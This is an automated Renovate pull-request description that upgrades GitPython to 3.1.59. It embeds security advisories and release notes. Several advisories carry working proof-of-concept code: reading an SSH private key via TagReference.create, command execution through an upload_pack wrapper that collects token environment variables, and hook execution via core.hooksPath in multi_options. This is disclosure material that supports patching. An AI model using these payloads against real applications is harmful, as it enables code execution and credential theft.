• https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

CVE-2026-78675 / GHSA-7833-fr7j-v32q / PYSEC-2026-3785

More information

Details

GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.

Severity

• CVSS Score: 7.8 / 10 (High)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

CVE-2026-78676 / GHSA-284h-m62q-gf8w / PYSEC-2026-3786

More information

Details

GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.

Severity

• CVSS Score: 9.3 / 10 (Critical)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

• https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

CVE-2026-78677 / GHSA-8mcc-hrx5-hvxc / PYSEC-2026-3787

More information

Details

GitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.

Severity

• CVSS Score: 8.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

• https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

CVE-2026-78678 / GHSA-5xxx-qhh7-9287 / PYSEC-2026-3788

More information

Details

GitPython versions before 3.1.59 contain an incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options, allowing attackers to read arbitrary files by passing these options to Repo.blame(). Attackers can supply revision values like --contents=/etc/passwd to leak file contents through the blame result returned to the caller.

Severity

• CVSS Score: 7.1 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

• https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)

CVE-2026-78679 / GHSA-3wxw-xv34-2frg / PYSEC-2026-3837

More information

Details

Summary

TagReference.create() forwards a caller-influenced positional reference value into git tag without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit 3af0c251 (the fix for GHSA-3f7w-8rr8-f37f's tag instance).

Root Cause

The fix 3af0c251 added unsafe_git_tag_options = ["--file","-F"] and a guard call, but the guard is Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...) at git/refs/tag.py:139 — it passes an EMPTY args list and inspects kwargs only. The dangerous values path and reference are POSITIONALS (args = (path, reference), tag.py:156), placed before any --. A user-influenced reference="--file=<path>" therefore reaches git tag as the exact --file option the fix intended to block, creating an annotated tag whose message is the file's contents.

Impact

Arbitrary local file read at the privileges of the host process; contents returned in-band via tagref.tag.message. Requires the embedding application to forward a caller-influenced reference value into TagReference.create() (pure VALUE control — the CVE-2026-42215 threat model). Default allow_unsafe_options=False.

Proof of Concept

from git import TagReference
t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/id_rsa")
print(t.tag.message)   # contents of the file

Attack Chain

1. Entry: app calls TagReference.create(repo, name, reference=<user>) with reference="--file=/home/app/.ssh/id_rsa".
2. Check: Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"]) @​ tag.py:137-141. Guard: denylist includes --file/-F. Bypass proof: _option_candidates receives args=[] → the positional reference is never a candidate (the kwarg spelling file="…" IS blocked; only the positional escapes).
3. Sink: repo.git.tag(*args, **kwargs) @​ tag.py:158 → no --. argv (observed): ['git','tag','-f','vpwn','--file=<secret>'].
4. Impact: annotated tag created; tagref.tag.message == file contents (arbitrary file read).

Bypass Evidence

Independently reproduced (independent test harness, git 2.43.0, default allow_unsafe_options=False): TagReference.create(repo,'vp','--file=<secret>') → PASSED; tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'. Control: TagReference.create(..., file='<secret>') → UnsafeOptionError: --file is not allowed. Fix-commit read: 3af0c251 adds _option_candidates([], kwargs) (empty args → positional never a candidate).

Affected Versions

GitPython <= 3.1.58 (sink present verbatim on the latest release tag; git diff 3.1.57..HEAD touches only test files).

Suggested Fix

Include the positional reference (and path) in the option-candidate list passed to check_unsafe_options, or place a -- separator before the positional arguments in TagReference.create().

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg
• https://nvd.nist.gov/vuln/detail/CVE-2026-78679
• https://github.com/gitpython-developers/GitPython/pull/2208
• https://github.com/gitpython-developers/GitPython/commit/1b0d2d9b91575f7db44ef4ff58ac37fc9335e5f6
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59
• https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create
• https://pypi.org/project/gitpython
• https://github.com/advisories/GHSA-3wxw-xv34-2frg

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

Release Notes

gitpython-developers/GitPython (gitpython)

v3.1.59: - Security

Compare Source

What's Changed

• prepare changelog for upcoming release by @​Byron in #​2207
• Block file-reading Git options by @​Byron in #​2208
• index: write blobs via git hash-object, not gitdb's odb.store by @​caroescm in #​2209
• Block separate git directories during clone by @​Byron in #​2210
• fix: harden config parsing boundaries by @​Byron in #​2211
• repo.index.add() now respects worktree filters #​2209

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.58...3.1.59

v3.1.58: - Security and Fixes

Compare Source

What's Changed

• test: allow Python startup before timeout by @​Byron in #​2195
• Resolve Windows hook Bash through PATH by @​Byron in #​2199
• Revert "Resolve Windows hook Bash through PATH" by @​Byron in #​2200
• test: focus pytest summary on unexpected failures by @​raisulchowdhury in #​2203
• Validate submodule names before filesystem operations by @​Byron in #​2202
• Handle invalid submodule names during recursive updates by @​Byron in #​2205
• Fix Windows path handling on Python 3.13+ by @​Byron in #​2196
• fixup 2202 by @​Byron in #​2206
• Correct Windows hook Bash precedence by @​Byron in #​2201
• Harden config and Git option validation by @​Byron in #​2204
• Skip tests that need symlink privileges instead of erroring by @​Cyrus580529 in #​2197

New Contributors

• @​raisulchowdhury made their first contribution in #​2203
• @​Cyrus580529 made their first contribution in #​2197

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.57...3.1.58

v3.1.57: - Security and Fixes

Compare Source

What's Changed

• Merge gitdb and smmap into the GitPython repository by @​Byron in #​2179
• build(deps): bump actions/setup-python from 6 to 7 by @​dependabot[bot] in #​2185
• build(deps): bump the pre-commit group with 2 updates by @​dependabot[bot] in #​2186
• Bump Vampire/setup-wsl from 6.0.0 to 7.0.0 by @​dependabot[bot] in #​2124
• Render protected Traversable methods in the reference by @​pick7 in #​2192
• Use standard prefixes for parsed patch diffs by @​pick7 in #​2191
• Honor kill_after_timeout with output streams by @​pick7 in #​2189
• Redact Authorization extra headers from command errors by @​pick7 in #​2188
• Improve RemoteProgress parse return typing by @​pick7 in #​2187
• Adopt basedpyright with a legacy baseline by @​Byron in #​2194
• Block unsafe Git file and URL options by @​Byron in #​2193

New Contributors

• @​pick7 made their first contribution in #​2192

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.56...3.1.57

v3.1.56: - SECURITY

Compare Source

What's Changed

• Add support for Python 3.15 by @​hugovk in #​2183
• fix: reject unsafe output options in Commit.count by @​Byron in #​2184

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.55...3.1.56

v3.1.55: - Security

Compare Source

What's Changed

• fix: prevent environment expansion in remote URLs by @​Byron in #​2181

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55

v3.1.54: - Security

Compare Source

What's Changed

• Harden unsafe Git option validation by @​Byron in #​2180

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54

v3.1.53: - Security

Compare Source

What's Changed

• feat(submodule): add deinit method to Submodule (#​2014) by @​mvanhorn in #​2129
• typing: introduce sensible basedpyright defaults by @​Byron in #​2174
• fix: make submodule.update() after submodule.deinit() work by @​Byron in #​2175
• Fix commit hooks respecting core.hooksPath by @​Siesta0217 in #​2159
• fix: validate config section delimiters by @​Byron in #​2176

New Contributors

• @​Siesta0217 made their first contribution in #​2159

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.52...3.1.53

v3.1.52: Security

Compare Source

https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

What's Changed

• Skip cross-drive relative config test on Windows by @​Byron in #​2171
• fix: preserve literal clone URLs by @​Byron in #​2172

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.51...3.1.52

v3.1.51: - Security

Compare Source

What's Changed

• Add AI-disclosure and quality requirements to the contribution guidelines by @​Byron in #​2143
• docs(cmd): clarify Git.execute() string vs list command argument by @​mvanhorn in #​2144
• Rewrite Git.execute() command parameter docstring per #​2146 by @​EliahKagan in #​2147
• Document init script behavior with multiple master remotes by @​EliahKagan in #​2148
• Bump git/ext/gitdb from 335c0f6 to 0a019a2 by @​dependabot[bot] in #​2149
• Support relative worktree paths (git 2.48+ worktree.useRelativePaths) by @​elovelan in #​2151
• Defer xfail condition evaluation with xfail_if_raises context manager by @​elovelan in #​2153
• Run more submodule tests on Cygwin (fix flaky xfails) by @​EliahKagan in #​2154
• Cut xtrace noise from POSIX-ownership diagnostic steps by @​EliahKagan in #​2156
• Support index diffs against the empty tree by @​puneetdixit200 in #​2155
• refactor: seperate out Progress type by @​LoeschMaximilian in #​2157
• Bump https://github.com/astral-sh/ruff-pre-commit from v0.15.12 to 0.15.15 in the pre-commit group by @​dependabot[bot] in #​2160
• Bump actions/checkout from 6 to 7 by @​dependabot[bot] in #​2164
• Bump git/ext/gitdb from 0a019a2 to 4950ea9 by @​dependabot[bot] in #​2165
• Bump https://github.com/astral-sh/ruff-pre-commit from v0.15.15 to 0.15.20 in the pre-commit group by @​dependabot[bot] in #​2166
• Add Commit.is_shallow property; document stats() limitation at shallow boundary by @​harshitayadavv in #​2167
• Allow relative config paths with includes by @​Byron in #​2169
• Reject abbreviated forms of unsafe git options by @​Byron in #​2168
• guard unsafe git command options by @​Byron in #​2163

New Contributors

• @​elovelan made their first contribution in #​2151
• @​puneetdixit200 made their first contribution in #​2155
• @​LoeschMaximilian made their first contribution in #​2157
• @​harshitayadavv made their first contribution in #​2167

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.50...3.1.51

v3.1.50

Compare Source

What's Changed

• Bump https://github.com/astral-sh/ruff-pre-commit from v0.15.8 to 0.15.12 in the pre-commit group by @​dependabot[bot] in #​2140
• Bump git/ext/gitdb from 335c0f6 to 53c94d6 by @​dependabot[bot] in #​2141
• Fix Repo() autodiscovery in linked worktrees when GIT_DIR is set by @​meliezer in #​2128
• Validate config key names before writing by @​Byron in #​2142

New Contributors

• @​meliezer made their first contribution in #​2128

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50

v3.1.49: - Security

Compare Source

What's Changed

• reject control chars in written values in configuration by @​Byron in #​2137
• Improve pure Python rev-parse coverage and behavior by @​Copilot in #​2136

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49

v3.1.48: - Security

Compare Source

Accidentally deleted the previous GH release, it did mention the advisory this fixes.

What's Changed

• prevent out-of-repo access when manipulating references. by @​Byron in #​2134

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48

v3.1.47: - with security fixes

Compare Source

Advisories

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485

What's Changed

• Prepare next release by @​Byron in #​2095
• Bump git/ext/gitdb from 335c0f6 to 4c63ee6 by @​dependabot[bot] in #​2096
• DOC: README Add urls and updated a relative url by @​Timour-Ilyas in #​2098
• Fix GitConfigParser ignoring multiple [include] path entries by @​daniel7an in #​2100
• Switch back from Alpine to Debian for WSL by @​EliahKagan in #​2108
• Bump git/ext/gitdb from 4c63ee6 to 5c1b303 by @​dependabot[bot] in #​2106
• Run gc.collect() twice in test_rename on Python 3.12 by @​EliahKagan in #​2109
• fix: guard AutoInterrupt terminate during interpreter shutdown by @​lweyrich1 in #​2105
• Improve CI infrastructure for pre-commit by @​EliahKagan in #​2110
• Bump the pre-commit group with 5 updates by @​dependabot[bot] in #​2111
• Upgrade Sphinx for 3.14 support; drop doc build support on 3.8; test 3.14 by @​EliahKagan in #​2112
• Fix Repo.active_branch resolution for reftable-backed repositories by @​Copilot in #​2114
• docs: warn about GitDB performance with large commits by @​mvanhorn in #​2115
• cmd: fix kwarg formatting in docstring example by @​UweSchwaeke in #​2117
• Bump https://github.com/astral-sh/ruff-pre-commit from v0.15.5 to 0.15.8 in the pre-commit group by @​dependabot[bot] in #​2122
• Add trailer support for commit creation by @​Krishnachaitanyakc in #​2116
• Harden commit trailer subprocess handling and align trailer I/O paths by @​Copilot in #​2125
• git.cmd.Git.execute(..): fix with_stdout=False by @​ngie-eign in #​2126
• Make sure that multi-options are checked after splitting them with shlex by @​Byron in #​2130
• Block unsafe underscored git kwargs / Fix for GHSA-rpm5-65cw-6hj4 by @​WesR in #​2131

New Contributors

• @​Timour-Ilyas made their first contribution in #​2098
• @​daniel7an made their first contribution in #​2100
• @​lweyrich1 made their first contribution in #​2105
• @​Copilot made their first contribution in #​2114
• @​mvanhorn made their first contribution in #​2115
• @​UweSchwaeke made their first contribution in #​2117
• @​Krishnachaitanyakc made their first contribution in #​2116
• @​ngie-eign made their first contribution in #​2126
• @​WesR made their first contribution in #​2131

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR has been generated by Mend Renovate CLI.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [gitpython](https://github.com/gitpython-developers/GitPython) | `3.1.46` → `3.1.59` |  |  | --- ### GitPython has Command Injection via Git options bypass [CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215) / [GHSA-rpm5-65cw-6hj4](https://github.com/advisories/GHSA-rpm5-65cw-6hj4) / PYSEC-2026-2160 <details> <summary>More information</summary> #### Details ##### Summary GitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`. ##### Details GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands: - `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe. - `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe. The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags: - `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390` - `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071` - `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125` - `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198` That validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`. Later, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified: - `upload_pack=...` becomes `--upload-pack=...` - `receive_pack=...` becomes `--receive-pack=...` Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject. In practice: - `remote.fetch(**{"upload-pack": helper})` is blocked with `UnsafeOptionError` - `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution The same bypass works for: ```python Repo.clone_from(origin, out, upload_pack=helper) repo.remote("origin").fetch(upload_pack=helper) repo.remote("origin").pull(upload_pack=helper) repo.remote("origin").push(receive_pack=helper) ``` This does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization. Existing tests cover the hyphenated form, not the vulnerable underscore form. For example: - `test/test_clone.py:129-136` checks `{"upload-pack": ...}` - `test/test_remote.py:830-833` checks `{"upload-pack": ...}` - `test/test_remote.py:968-975` checks `{"receive-pack": ...}` Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard. ##### PoC 1. Create and activate a virtual environment in the repository root: ```bash python3 -m venv .venv-sec .venv-sec/bin/pip install setuptools gitdb source ./.venv-sec/bin/activate ``` 2. make a new python file and put the following in there, then run it: ```python import os import stat import subprocess import tempfile from git import Repo from git.exc import UnsafeOptionError ##### Setup: create isolated repositories so the PoC uses a normal fetch flow. base = tempfile.mkdtemp(prefix="gp-poc-risk-") origin = os.path.join(base, "origin.git") producer = os.path.join(base, "producer") victim = os.path.join(base, "victim") proof = os.path.join(base, "proof.txt") wrapper = os.path.join(base, "wrapper.sh") ##### Setup: this wrapper is just to demo things you can do, not required for the exploit to work ##### you could also do something like an SSH reverse shell, really anything with open(wrapper, "w") as f: f.write(f"""#!/bin/sh {{ echo "code_exec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@"; echo env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true }} > '{proof}' exec git-upload-pack "$@" """) os.chmod(wrapper, stat.S_IRWXU) subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) with open(os.path.join(producer, "README"), "w") as f: f.write("x") subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL) subprocess.run( ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"], check=True, stdout=subprocess.DEVNULL, ) subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) repo = Repo(victim) remote = repo.remote("origin") ##### the literal Git option name is properly blocked. try: remote.fetch(**{"upload-pack": wrapper}) print("control=unexpected_success") except UnsafeOptionError: print("control=blocked") ##### this is the actual vulnerability ##### you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact ##### if you do the "touch /tmp/proof" the script will crash, but the file will have been created remote.fetch(upload_pack=wrapper) ##### Proof: the helper ran as the GitPython host process. print("proof_exists", os.path.exists(proof), proof) print(open(proof).read()) ``` 3. Expected result: - The script prints `control=blocked` - The script prints `proof_exists True ...` - The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names Example output: ```bash GitPython % python3 test.py control=blocked proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt code_exec=1 whoami=uid=501(wes) gid=20(staff) <redacted> cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim uname=Darwin <redacted> Darwin Kernel Version <redacted>; root:xnu-11417. <redacted> argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git> USER=<redacted> SSH_AUTH_SOCK=<redacted> PATH=<redacted> HOME=<redacted> ``` This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`. ##### Impact Who is impacted: - Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior - Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with `**kwargs` - CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs ) What the attacker needs to control: - A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()` From a severity perspective, this could lead to - Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process - Modification of repositories, build outputs, or release artifacts - Lateral movement from CI/CD workers or automation hosts - Full compromise of the worker or service process handling repository operations The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-rpm5-65cw-6hj4) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Unsafe option check validates multi_options before shlex.split transformation [CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284) / [GHSA-x2qx-6953-8485](https://github.com/advisories/GHSA-x2qx-6953-8485) / PYSEC-2026-2161 <details> <summary>More information</summary> #### Details ##### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ##### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ##### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ##### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267. #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47) - [https://www.tenable.com/cve/CVE-2026-32686](https://www.tenable.com/cve/CVE-2026-32686) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-x2qx-6953-8485) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215) / [GHSA-rpm5-65cw-6hj4](https://github.com/advisories/GHSA-rpm5-65cw-6hj4) / PYSEC-2026-2160 <details> <summary>More information</summary> #### Details GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47) - 